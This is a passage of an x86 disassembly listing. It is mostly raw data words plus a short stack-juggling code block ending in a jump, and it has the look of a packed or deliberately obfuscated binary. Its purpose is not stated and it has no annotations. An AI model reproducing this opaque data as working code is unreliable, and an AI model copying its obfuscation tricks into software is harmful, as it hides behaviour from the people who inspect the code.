		dd 0F88E97B6h, 0EB9789F0h, 6860Fh, 0B5030000h, 7D32B3Dh
		dd 0CF5BD89h, 8B6607D3h, 0FFF0BD1h, 7684h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0E91F4585h, 10h, 3D8CBBFAh, 854B6E2Dh, 0BA3DB36Eh, 7606F605h
		dd 8B663F8Bh, 66C032D3h, 0E9A4B8BAh, 6,	0C0FFC0B9h, 0AAF38405h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F9C35646h
		dd 2AE580F0h, 0F860E605h, 198DBD89h, 356107D3h,	53504149h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 33C35343h
		dd 85C60AD7h, 7D318D1h,	52006A47h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 8C8EC367h, 41E4C5E6h
		dd 58C0Fh, 0A6BE0000h, 0E832A725h, 4, 0DCD6882Ch, 0AE8h
		dd 4B34C300h, 542FE4FBh, 521D438Bh, 2908B1BEh, 505A5A51h
		dd 12E8h, 94C6000h, 156A1499h, 30044D9Ch, 54543A68h, 66144A5Eh
		dd 5E8EA8BAh, 424448Bh,	8BD18Bh, 0A004BA66h, 4244489h
		dd 26CCBA66h, 95B58B58h, 0E907D303h, 8,	2FFD8D2Fh, 0C5670197h
		dd 0DF1B5FFh, 0F68107D3h, 42145E5h, 36A858Dh, 0BF0F07DCh
		dd 0C820FF1h, 0F000000h, 686h, 65850100h, 0FF07D313h, 0D1BF0FD0h
		dd 0D018589h, 958B07D3h, 7D31275h, 18D185C6h, 6A5307D3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0B89AC353h, 644986C5h, 3401BA68h,	243481F4h
		dd 7CAC6B46h, 90CA8166h, 0F1B5FFC2h, 2907D30Dh,	0D30841BDh
		dd 6A858D07h, 0E907DC03h, 12h, 49403592h, 0E745DDEEh, 0BE58FA36h
		dd 21804C49h, 0D0FF45EEh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0B3C35242h, 8B66ABF9h, 0DB858DD0h, 0F07DBBBh
		dd 8589D3BFh, 7D31955h,	27298D89h, 206A07D3h, 95FFFF6Ah
		dd 7D31955h, 50414935h,	0A185C753h, 107D31Bh, 0C7000000h
		dd 0D3073985h, 7, 6AF800h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0CA2FBAC3h, 0E9F4A8D9h
		dd 0Dh,	8B96BDADh, 98D1CF35h, 45E053F6h, 2BE2814Ch, 8B3C0BEEh
		dd 0D3128185h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 92C664AEh, 6830Fh, 95890000h
		dd 7D317D5h, 1595B58Bh,	0A36407D3h, 0
aFYg		db 'fY%$',7,0
		db 0Fh
		dd 1A84h, 358D2900h, 8B07D303h,	0D3139D85h, 0ADBD8907h
		dd 8B07D325h, 9B58BE0h,	8307D320h, 0D3235DBDh, 850F0007h
		dd 42Ah, 0C6D6BF0Fh, 0D318D185h, 0BA665607h, 20682A88h
		dd 815A4137h, 0F9BF2404h, 6A4F83h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0A30EAEC3h, 8ECAD25Bh
		dd 375A6B5h, 0D32DA9B5h, 0F0BF0F07h, 0DF1B5FFh,	6A07D3h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 43E9D1C3h, 74EC17BBh, 66609C25h, 2B14D5B8h, 0D30E598Dh
		dd 858D6107h, 7DC036Ah,	0C69958Bh, 0D0FF07D3h, 50D08B66h
		dd 51240489h, 31DDB503h, 8D5A07D3h, 0D32E318Dh,	5296BA07h
		dd 5091614Fh, 2810F52h,	8A000000h, 66310FD5h, 5ADEEBBEh
		dd 0BE665058h, 6A919A55h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0DA72C352h,	9E86008h
		dd 0C000000h, 9F2E818Ah, 81F10A85h, 1CFDB52Bh, 665807D3h
		dd 6A61FA8Bh, 0D2816604h, 2568C529h, 0BA3E4536h, 41EA0040h
		dd 25243481h, 893E4526h, 0D3037D95h, 52BA6607h,	2DB5FF22h
		dd 6A07D30Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 75B0C357h, 2CD634Fh, 0BA6657EDh
		dd 0D0FFE496h, 0F2DBD8Bh, 820F07D3h, 6,	24D8529h, 7F0307D3h
		dd 8B60563Ch, 0D320619Dh, 0D852907h, 6107D315h,	0F8C7815Ah
		dd 60000000h, 61C5C880h, 202447C7h, 60600000h, 10E9h, 63D6ED00h
		dd 1F3AB5CAh, 921951E0h, 0D90E8429h, 8361FCF4h,	0E19DE6BDh
		dd 840F0007h, 184h, 0C7839FB2h,	0A5852928h, 0C707D32Fh
		dd 696A2E07h, 0B70F6064h, 14E8C8h, 0E3E40000h, 1E6A4F86h
		dd 0E333A2E9h, 395C3247h, 0A2228744h, 0B509F47Eh, 7D3208Dh
		dd 47C7615Ah, 61746104h, 0D68B6600h, 9DEE858Bh,	6A07E1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0DEB772C3h, 89D48A99h, 6A0C47h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 536AE2C3h, 0D9858914h
		dd 8B07D30Eh, 0E19DF285h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0FD9E38DFh
		dd 31D66E2h, 119503F6h,	8907D326h, 0CE90847h, 78000000h
		dd 26B3E9E1h, 0EB28E8A5h, 83D3D5E9h, 6A28C7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 958B83C3h
		dd 7D32CB1h, 632E07C7h,	6A6E6Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 6E6DDAC3h, 56956D8Bh
		dd 0C71BC914h, 69660447h, 0D58A0067h, 301D958Bh, 858B07D3h
		dd 7E19DEAh, 89D38B66h,	0E9570C47h, 6, 80B0EA28h, 8B5E82A5h
		dd 0E19DE685h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0F008036Fh, 7A39BAF9h
		dd 8D8D89E2h, 8907D317h, 85890847h, 7D30D05h, 2DE68158h
		dd 8D0C7A3Ah, 0D31D118Dh, 9184B207h, 12E8h, 2298ED00h
		dd 0B1ED0C7Dh, 85CE3219h, 0FD8CFBF3h, 0E88B5298h, 11h
		dd 2797554Ch, 0D3E278E2h, 1289C5FDh, 48FE304Ah,	5A61601Ch
		dd 8C0F505Eh, 0
		dd 51006A91h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 3414B397h, 6E960h, 0DDCF0000h, 9212217Ch
		dd 0B61B589h, 816107D3h, 0B5B943E6h, 31B5FF49h,	0B207D32Eh
		dd 460868B1h, 0BA663F6Eh, 3481F39Fh, 6E560824h,	56006A3Fh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0D280E14Ah, 0D08B6668h, 0F2DB5FFh, 6A07D3h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 54ABACC3h, 2BB12FE7h, 95B58B55h, 8907D32Eh, 0D31F6D8Dh
		dd 0E9D0FF07h, 0Ah, 3C00DDBh, 5394F2Bh,	0B87BF3h, 0F000000h
		dd 485h, 61605100h, 0FC00B5Ah, 6B84h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 8B605378h, 0D32F41B5h, 799D0107h, 6107D30Ah,	145DB5FFh
		dd 6A07D3h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0B5890FC3h, 7D323C5h, 2D3D95FFh, 0DE907D3h
		dd 19000000h, 85671DBh,	0D882984Dh, 0EECB6229h,	6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 1C009AC3h, 0E9FF921Fh, 0Eh, 81069BE0h, 94316192h, 5E66A5DCh
		dd 0BD83DE24h, 7D313B1h, 83097500h, 0D3273DBDh,	19740007h
		dd 0C08B5350h, 42DB8h, 0C9858900h, 8D07D309h, 0DB28709Dh
		dd 5BD3FF07h, 3DBD8358h, 7D327h, 53501774h, 42DB8h, 0C9858900h
		dd 8D07D309h, 0DB25119Dh, 5BD3FF07h, 0A9952958h, 6A07D300h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 5D03C355h, 0A374C237h, 0F9FC6039h, 6AC08B61h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 7D60C352h, 0E92AE0F2h, 0Eh, 0D6223FDh, 801F1A61h
		dd 7F9D937Ah, 0C08BC236h, 0A8498D8Dh, 850307E1h, 7D32781h
		dd 29418D89h, 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0A15BE8C3h, 0C0F19B81h, 958BE007h
		dd 7D31B39h, 2BA185C7h,	74F407D3h, 0D4800000h, 1185C729h
		dd 7D333h, 8B000000h, 0D3269585h, 0BA605207h, 517B889Ch
		dd 0BE9h, 7865C900h, 53DD44DFh,	37C85631h, 0B5FF5861h
		dd 7D326EDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	27C35646h, 91EFA181h, 0B70F8397h, 3D95FFF0h, 6A07D32Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 864AC355h, 0AAE69B80h, 45B529D7h,	6A07D317h
		dd 1995FF00h, 8B07D330h, 0A11FEBC0h, 0B4BFFCF2h, 32E42026h
		dd 0C85E22ABh, 0EF03E40Fh, 0D6706143h, 11369C88h, 6189128Eh
		dd 16E9397Eh, 1A000000h, 44D46Dh, 4 dup(0)
		dd 68EE900h, 0DBC0000h,	0E354F9FDh, 17C623D3h, 0CA7AEF07h
		dd 19913EBAh, 611AED09h, 24D4E456h, 0ED0919C7h,	3BBBCB80h
		dd 0E810208Eh, 0F1D07150h, 955B607Ah, 954953F3h, 0D2201666h
		dd 9349EC8Bh, 15B37583h, 32A845B3h, 0C579D622h,	1C8A43B5h
		dd 606A7A31h, 8D9D0E6Dh, 9F10DD6Bh, 0D9DF698Fh,	0D1E14EFFh
		dd 9D2A5727h, 0F80010BEh, 0FDD0E053h, 0DB1D2D9Eh, 16B4C472h
		dd 249734A4h, 867E614h,	7A734555h, 23CBECEh, 0FAB18E3Dh
		dd 0ED610EEAh, 1D91EEDDh, 5E4DAB0Dh, 7C3B7B17h,	14C45F4Fh
		dd 0CB1D8C5h, 6EB777C4h, 0CF699E69h, 0B77D7FCBh, 0BE71CE4Fh
		dd 0D204FFAEh, 82E4BDh,	78BABAh, 494A0000h, 11FCAA95h
		dd 8D3B8D9Dh, 5411C06Bh, 0E78D8B01h, 99D69950h,	638A7918h
		dd 6AFC039Fh, 0CB194050h, 0B503456Dh, 0E0AE9534h, 0C6D80489h
		dd 3F08BFF4h, 9A2AB088h, 1B7D749h, 47000000h, 74869649h
		dd 913C4CFBh, 3F7589EEh, 73456E30h, 6474E885h, 0EBDCA96h
		dd 1F937E31h, 695FE90Fh, 41510562h, 2FC7F1B7h, 0FCFC0CBAh
		dd 5360CE2Dh, 7FC1CFB2h, 15B3B753h, 9149A7A3h, 69D67781h
		dd 0E1A69F59h, 85950D2Ah, 5F4AFC71h, 8C1EDCECh,	70F1BC3Eh
		dd 7ED2F2D1h, 0A8129453h, 74869647h, 0BD3B4BFBh, 708A9A10h
		dd 4EC0F7FCh, 4B15A295h, 263E89AFh, 6A54C86Bh, 38669B50h
		dd 62F282h, 49120000h, 0D6778191h, 0BDA15767h, 0E3DE7FFEh
		dd 0B9537ED2h, 0F556ABDCh, 0BFC3D255h, 0DE5F6CF9h, 0FAC3BE5Fh
		dd 0BFC3537Eh, 735ED4F9h, 0E115B3C3h, 4387B66Ch, 0AEE00363h
		dd 0A300CBFDh, 53D52333h, 6ADA9365h, 5423A05Ah,	511D9DA7h
		dd 6FC4263Fh, 64000000h, 77819149h, 0A35565D6h,	0DA798ED3h
		dd 0A8A05868h, 0FC07A627h, 8A537ED2h, 9A0DC2F8h, 5CDD708Ah
		dd 7ED2C6BDh, 9CAC1A53h, 0B5C9CC5Eh, 18978803h,	2DC3B5CDh
		dd 13C63B7Dh, 3B41392h,	684305F3h, 0CF7DA499h, 566F5803h
		dd 8B0A26ADh, 0BFCAC1F7h, 0D52636B0h, 0CE2C3CEAh, 5E9CAC21h
		dd 0A5699E69h, 98A05730h, 1E3B8D12h, 1CFh, 94496F00h, 3DEA4984h
		dd 0BBFDCB2Dh, 13FEB01Dh, 0E16791A1h, 0EB5C11E7h, 0FBB01DDBh
		dd 0EFD80DEBh, 3F0856D8h, 0EAFAAB88h, 4A9C3F0Eh, 9361C2FAh
		dd 2939F1FEh, 81BFF9CFh, 33D2F9CFh, 1FCA1DA3h, 478C4301h
		dd 5DFC7D6Fh, 708AB066h, 771C9E20h, 2B16B736h, 5B708AB0h
		dd 883A7147h, 96279Eh, 0DBEB5A49h, 0F4620BEDh, 7B714E4h
		dd 0CD2A01F7h, 3E6D4B5Bh, 0E25DF2FCh, 0AA5E4794h, 0A652F332h
		dd 0CE9A2671h, 310EBD8Ah, 0F2D1707Dh, 949B6DC1h, 6940B812h
		dd 0A897F0C6h, 4C6E7615h, 0D52333A3h, 44B6C678h, 8E8F3C03h
		dd 0D3936E0Fh, 72F39B6Ch, 6CD2F0D3h, 0B614969Bh, 4B5BCB04h
		dd 8C9743ABh, 134A6E2Ch, 0DA000002h, 414C827h, 0DC8634F6h
		dd 0FC9D3006h, 0A421FA6Dh, 2434A201h, 0CCE8F796h, 9740627h
		dd 11D67329h, 0E04F3C39h, 2A32AD0h, 3F1BB2FFh, 3C50387h
		dd 0D6E658F5h, 0ECF9AD22h, 0CFD1CF4Bh, 0D4D7C7FEh, 3F1B61EDh
		dd 29A40599h, 0C6AE329h, 0FA738543h, 11BE3C4Ch,	16E8C9Ch
		dd 0FBB3D4Dh, 0EC79BD4Ah, 0E757E413h, 0C23848FCh, 408A9A0Dh
		dd 23C2438Ah, 3F1B3C20h, 82566466h, 0DAF5C8D2h,	0C91911h
		dd 0BC290000h, 3ABB12E8h, 788DBE99h, 6543B5C5h,	2D570E44h
		dd 4EC208Bh, 0BDA80828h, 0C9632135h, 5928C948h,	2D906436h
		dd 362F1299h, 0EE8F9064h, 90643613h, 22A4EF73h,	0BE92FB98h
		dd 0C18F7980h, 6ECD0082h, 8A3CB1C1h, 10AA807Ah,	1BC063EAh
		dd 0D8E85D3Ah, 69AE54D3h, 5CF15C4Fh, 0FAA590BEh, 7CC05ADBh
		dd 0E4EFAADBh, 0A24BE830h, 0F6D42636h, 0ABAECFC4h, 86E63869h
		dd 9448A726h, 0F7B47684h, 1A8102Eh, 4F18A22Eh, 70460EB8h
		dd 463DDC5Dh, 9AEF3DFBh, 0E6781B2Bh, 1B78F9D4h,	0CA609AAAh
		dd 4C0516E1h, 3D7BD860h, 0AD4B724Eh, 0C4182A4Fh, 0CC6BB5ADh
		dd 0D5BD13Bh, 876FF332h, 7BCB1FC0h, 1E07BF4Bh, 0C8399Ch
		dd 0BC070000h, 1CBD10E6h, 0A1A435Ah, 9D5E7D2Eh,	3BB2DB32h
		dd 34B198Ch, 3695384Ah,	97417787h, 55788836h, 0CD7593B2h
		dd 2D7E3A2Bh, 0F8E39D67h, 0B32395FEh, 5EB453F4h, 3EA806EAh
		dd 72488292h, 6FDEC97Dh, 0B90F995Fh, 49BB4C3Fh,	0F8CF70D5h
		dd 0B4BAFD60h, 0D56C5DC9h, 14C827FEh, 8634F604h, 0BB5C6B2Dh
		dd 2F7A42C4h, 9DEAD04Dh, 4D5DD16Eh, 635EFF7Eh, 3907DA04h
		dd 927275F0h, 0A4266DECh, 0D280C216h, 5D30D1FCh, 39D04B42h
		dd 2B7230DFh, 65E03051h, 0E09F5274h, 3B31CDEh, 0EED705F3h
		dd 2E23EDD9h, 0B4CE8C9Ah, 16B51301h, 0CF86A77h,	2CEDF0A5h
		dd 0E6F0562h, 330EE95Bh, 0EEA7CF9h, 77A69C3Fh, 5238B566h
		dd 0E6BC0468h, 4D1CBD10h, 1922843h, 0BE10EABBh,	0F50BACBDh
		dd 0E5C2928h, 8088335h,	771E00D9h, 0F1D071F0h, 952B441Bh
		dd 507A8A36h, 61972B6Ah, 0D7AA4BCAh, 0AF2B441Bh, 7E309D1Bh
		dd 71E58A6Eh, 36F49761h, 1AF6F520h, 4C780CE3h, 0D475F4B9h
		dd 747E33EDh, 345130D1h, 3135747Eh, 0C3D38562h,	98557335h
		dd 0E8A31525h, 0A9B866F0h, 0C3AE1F7Ch, 55F30515h, 0F5494573h
		dd 3744F956h, 0FC88AB96h, 1C7DBD1h, 0FE8731F7h,	0ACBC6AC9h
		dd 515C221h, 946676E8h,	77D404B6h, 8C41B7C7h, 0ECF20818h
		dd 0F767F403h, 0EC5A0FE7h, 0DB71EDCh, 95000000h, 0E58405C8h
		dd 537ED2DEh, 0A8A416A8h, 72889849h, 0BF3949FDh, 6B8D9D0Eh
		dd 0B4465602h, 8177873Bh, 0B44656CCh, 7F79893Bh, 0A94F5FCEh
		dd 75839344h, 0E28952D6h, 4C281h, 0EA830000h, 24148704h
		dd 240C895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68243C89h
		dd 55A2h, 50241489h, 7F676852h,	0C15A4D9Bh, 0D2F705E2h
		dd 8104EAC1h, 28A9BCF2h, 5AD08903h, 6858C789h, 0AF3h, 83242489h
		dd 5A042404h, 4815753h,	0E228A724h, 0EB815B52h,	52E228A7h
		dd 5B085A89h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5EA26F
; ---------------------------------------------------------------------------
		db 2Fh
		dd 0DC05C8A4h, 0E1AE80B8h, 0FFC50307h, 420452E0h, 44D73823h
		dd 827A9B69h, 0B2D4FE5Ch, 81F28136h, 0EA465A5Eh, 0A4D1D674h
		dd 3089725Bh, 0D2135C4Ah, 4BB4793Ah, 0D9D9DD16h, 8EC6767Eh
		dd 0F2E3380Ch, 791EFF50h, 82DE0844h, 727D2C1Ah,	72003D62h
		dd 56DD0D70h, 0FFA2E264h, 49099609h, 2E99A21Eh,	20F52A77h
		dd 0EDCBBC3Fh, 7141AC3Ch, 0D6FD4053h, 0CD9F663Dh, 0F9E8430Ah
		dd 3B6C4E02h, 4ED6B572h, 0E65E665Ah, 5B8D8D76h,	0F07E1B0h
		dd 8D89D0B7h, 7D32941h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B2C35040h, 33E5FBAAh, 0D78B662Ch, 6830Fh
		dd 9D230000h, 7D301E5h,	2BA185C7h, 6E4007D3h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 328B05C3h, 5BF85358h, 2FB1958Bh, 85C707D3h, 7D33311h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 50C35141h
		dd 9B27B65Dh, 0B5FFE52Fh, 7D32961h, 5E8h, 96B96F00h, 0B866FCEFh
		dd 0FF5ADC07h, 0D32D3D95h, 0FF006A07h, 0D3301995h, 0EBC08B07h
		dd 8971040Bh, 64C7D706h, 66F2D389h, 0AE8h, 0BFF09E00h
		dd 185E7218h, 500A4CCBh, 0C7DB501h, 585A07D3h, 6810Fh
		dd 9D890000h, 7D32931h,	5AC6C081h, 9FBE0000h, 2B731072h
		dd 599531FFh, 0FF07D31Dh, 0B70F0734h, 8DB95BCFh, 81056322h
		dd 0F3DF6FEBh, 66F58039h, 6A4CF381h, 60B9363Dh,	81501187h
		dd 0EB73EEEBh, 0FE85732h, 0A9000000h, 7010E83Dh, 0A8D791AFh
		dd 0BCDC7DF2h, 8A0F8B1Eh, 0
		dd 1C89595Ah, 1DBD2938h, 5607D318h, 1C15958Bh, 835E07D3h
		dd 816604EFh, 8125A2DAh, 0FFA5DCFFh, 98850FFFh,	0FFFFFFFh
		dd 689h, 0C1850100h, 0EB07D32Ch, 4F8E900h, 53FB0000h, 0ECA0EEAFh
		dd 45039312h, 0E5A2F0B1h, 3F089617h, 43DDF4B5h,	2D6C883Fh
		dd 5554AC5Dh, 19788045h, 7C1DDD89h, 0C0612C23h,	885BBBC4h
		dd 5418FE91h, 61415671h, 99082620h, 0AF51FCAAh,	995417A6h
		dd 0FA9B5B09h, 9CFDFFACh, 0FE9F550Eh, 49FEF7B0h, 0B8FC097Ah
		dd 0D9C82674h, 3EEB7BC8h, 81E293BAh, 3DEF7FACh,	0C636F1C1h
		dd 0C17DDE9Fh, 999F808h, 12EA9D5Ch, 9EC8B4A3h, 0F73F2D7Ah
		dd 0B505A8ABh, 0E18809F1h, 0A553BCF9h, 0A1537E75h, 0DA839416h
		dd 0E6B0AF7Bh, 6F193AD3h, 54FFA430h, 5952E6BCh,	1A43B773h
		dd 26EFAF5Ch, 3C5CFF87h, 0FF31903Dh, 80193C5Ch,	0EAF7665h
		dd 463C5CFFh, 0EE774677h, 1ACF5F70h, 0DECF2BDFh, 0F706C17Dh
		dd 0DF9EC733h, 0D1E01CCFh, 83E2BCD0h, 5CFF7BDAh, 3594413Ch
		dd 1D3C5CFFh, 0AB9518Ch, 5DEABBEAh, 0E90BBC6Ah,	5CFF01A0h
		dd 0EF70493Ch, 1CF25F0h, 0D1CBB412h, 9DE7ADC2h,	6EC60EF4h
		dd 0EBF55824h, 0E12F29FCh, 87D4E5AEh, 0A5C632F7h, 110ED980h
		dd 35F23E83h, 303B5CB5h, 0C3992471h, 0E41964C1h, 0D383F37h
		dd 4E96DFAEh, 0A9000001h, 1AF4EBDBh, 0F83B768Ch, 0C6100B1Eh
		dd 61FA5D4Ch, 0BCA54F18h, 84913CF3h, 784CEDDDh,	0B9B03717h
		dd 0A5C4970Eh, 7EABEE9h, 7E302F36h, 8E3033C9h, 338322D8h
		dd 0C1654A77h, 0B63D5884h, 0CA514EEFh, 86370682h, 8C8A2E37h
		dd 9B7D2837h, 6781AA61h, 0FC40A87Bh, 0E8265243h, 89967AE6h
		dd 0EE007DDCh, 2344D5BAh, 0F3B18968h, 0A9B5A03h, 24F7C243h
		dd 37768442h, 113E8561h, 0D6763E44h, 8347FC12h,	0BCE95536h
		dd 339D3789h, 662F1CC1h, 0C29B34C7h, 0A0AFFE8Fh, 3447E6AFh
		dd 0DAA2C29Bh, 0A95E1570h, 0FD5E2FAAh, 5B994AE8h, 39BB6C3Ah
		dd 0B7730310h, 0C29938E5h, 0D8B1C29Bh, 0F5F286C9h, 0B7865A95h
		dd 0F97B05F1h, 0E77445D3h, 9657E7F8h, 0A082236Ah, 0F3CAC29Bh
		dd 608B570h, 96045A5Ah,	0BA32D444h, 983D4BEBh, 0CF5E03CEh
		dd 0D29361CEh, 0E16E1E6h, 0E7BF79DAh, 0A6A66FDCh, 0A4C30240h
		dd 1D362AFCh, 70C9C8B4h, 7116F5E4h, 604C83EEh, 0B22A058Bh
		dd 7035369Ch, 59975D3Ch, 7AE3BA35h, 5AE90BBCh, 74DD1FCCh
		dd 5CCBA2C5h, 7ADD1BCAh, 68F103C4h, 4BF8CBC4h, 0E0BE6582h
		dd 80811DF1h, 2A3E233h,	9B3E7DE4h, 3E5F2EC1h, 5C3DB770h
		dd 0E4CBB96Bh, 486D0760h, 0ECEA8ED1h, 5ADD88D7h, 0A6A51B15h
		dd 0A25C83h, 977E00A5h,	0DD8094EEh, 0BE6FFF4Ch,	0B25B1B42h
		dd 4776074Eh, 0B5710124h, 0AF56445h, 0EC5B683Fh, 0ED6E8C3Ah
		dd 0DFDE5D44h, 0D72A3180h, 852E994Bh, 0A5C636F1h, 5742650Ch
		dd 0C67894F7h, 0DA57F8FEh, 8744F2E5h, 444DEC75h, 1BF157E5h
		dd 14EC9D6Dh, 5AFDAC4Dh, 9514E6A4h, 0A65018A6h,	0A15DFEBFh
		dd 594615E5h, 0F1572D8Ch, 0D394251Bh, 946624D2h, 653609CDh
		dd 7435C581h, 0AC0DD8C7h, 371BF157h, 86E753DCh,	0AA835EF0h
		dd 8F7601A9h, 50D4FB99h, 5F000000h, 71DEA6B9h, 0FFBD904Fh
		dd 9CA90891h, 0B76E5C5Ah, 5215A441h, 2C1BA8A6h,	1BDF8B1Bh
		dd 391ADE8Bh, 5D59246Ch, 0E637223Dh, 574EDF7Eh,	99B81DE2h
		dd 0D77EAD44h, 60782D76h, 0F75E4FDEh, 36778347h, 2919h
		dd 0A15E2600h, 0A27A20DBh, 186AF172h, 12A0A953h, 0A6B9A654h
		dd 5A755EFFh, 4427F65Ch, 7C2CBA69h, 97AF27Ah, 0C3D2495h
		dd 5B9D04Bh, 0FDA8B73Fh, 5C5A755Ch, 7C4225F4h, 136C2DCFh
		dd 5FED711Ch, 0FA61EBDBh, 30477892h, 262FC57Eh,	6D34D497h
		dd 0CD5C283Bh, 4615A44Dh, 6506F0B8h, 6F4B240h, 2DC1AE5Fh
		dd 0E1E0837Bh, 430A453Ah, 0E57F8817h, 0F35F050Bh, 4C3B201Ch
		dd 0BCF37160h, 0E9B07754h, 63C22548h, 2E3F2900h, 916CD96h
		dd 3FD491D2h, 1618986h,	632A19F0h, 6F3B68DDh, 9FBBA455h
		dd 0EF7FAC30h, 18B9643Eh, 30B71E4Fh, 5E074859h,	0E519B890h
		dd 0E1C05998h, 1FE615D1h, 0F0C170D9h, 881AD363h, 66367CDDh
		dd 7445D4C5h, 620B4CEDh, 0D4C30417h, 6636A809h,	4609A0C5h
		dd 1469h, 5218F200h, 5511A1A8h,	6D5704A5h, 8DC6CE23h, 0FB026513h
		dd 0AC561848h, 0A95115A5h, 0A55312A0h, 0B54BFEBCh, 9F550EACh
		dd 0B53F08B6h, 0A3590EACh, 0AA4CFCBAh, 0A55913A3h, 895323BCh
		dd 4C381E3h, 83000000h,	1C3304EBh, 241C3124h, 5C241C33h
		dd 2A6068h, 24148900h, 0B1468h,	24048900h, 0B11DB850h
		dd 0C28907E1h, 8124048Bh, 4C4h,	48B5400h, 4C48324h, 8904EC83h
		dd 408F2414h, 24048B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 5A2434FFh, 0E904C483h, 0FFF1C8B9h, 0ADB854BFh, 307E1B5h
		dd 63E0FFC5h, 32082210h, 55BCB0h, 441E538Fh, 0DC49E27Dh
		dd 0B53B5959h, 0BC0916F8h, 0BF54A784h, 4963A561h, 13E9D98Ah
		dd 14000000h, 0E474EDE1h, 0B7A24556h, 6AA5D88Eh, 0AAD96CBCh
		dd 0D2BE5CD0h, 0E97D9FBDh, 0Ah,	503811F8h, 0A13CCE0Bh
		dd 0D180EE1Ch, 0F9AFBA32h, 81665F29h, 66980ED7h, 0FCFCD08Bh
		dd 12E8h, 0FF502C00h, 0D1D69BD0h, 0A053B661h, 50CE17DDh
		dd 0E8C0DCC1h, 9, 55C60194h, 74F2A949h,	5F5FFC13h, 0BAE68166h
		dd 0F3BF0F87h, 6660CA8Bh, 6EC0D381h, 61C7B70Fh,	7D88060h
		dd 5860Fh, 81660000h, 610CF4EEh, 88D0Fh, 8B0F0000h, 2
		dd 14E85E57h, 0E000000h, 757FF2A2h, 0DF0B9FF4h,	70348A31h
		dd 28EAF043h, 0F27DE5Dh, 0F58DFBFh, 681h, 0DAB66000h, 0E861D08Bh
		dd 6, 7B367623h, 5BF8EA33h, 0EBCBF66h, 0C5C38166h, 2820F4Ah
		dd 8B000000h, 0F6BF0FC1h, 0F2F18166h, 0D3B70F39h, 60F6B70Fh
		dd 56D8BF0Fh, 98DC45B8h, 66615E2Dh, 915EC181h, 8B2AE780h
		dd 8BA8B0F2h, 0B7BF66DFh, 0CE9F5h, 3C5C0000h, 7AD82DAFh
		dd 2730CBBh, 8AF83923h,	1830FF9h, 0F9000000h, 8E9h, 494A6500h
		dd 67AE5D0h, 0C6816602h, 0BE98BB3h, 0BA000000h,	0FFCD0E30h
		dd 0B94945B7h, 57F5E6D8h, 77CFCB81h, 0E95A229Bh, 12h, 23F9FB6Eh
		dd 3429E2BEh, 1CB1A629h, 0D8E0D0DEh, 8E93C77h, 3F000000h
		dd 0CCE5EAF7h, 0E85BFC2Eh, 8, 4A65B316h, 7AE5D049h, 8E8h
		dd 0FCF5300h, 854AC905h, 0EE937h, 56C20000h, 0B895075Bh
		dd 0A205AEC6h, 5AB2F7F7h, 0BF0F595Ah, 5EBB66DFh, 3800FFAh
		dd 80000000h, 11E96BE0h, 0D2000000h, 10B764E5h,	0E55C9E49h
		dd 0E3D3A80Eh, 2787EFA7h, 0ABD18166h, 11E92Bh, 28050000h
		dd 138B04DEh, 3CB55C8Eh, 5F391976h, 66CC8041h, 0B866DA8Bh
		dd 0AE8CABDh, 97000000h, 0AF967997h, 0A65DC0E7h, 5810BF6Dh
		dd 0F591080h, 58Ah, 0E6C5BE00h,	816653F1h, 8B6023C6h, 1FC6B9DEh
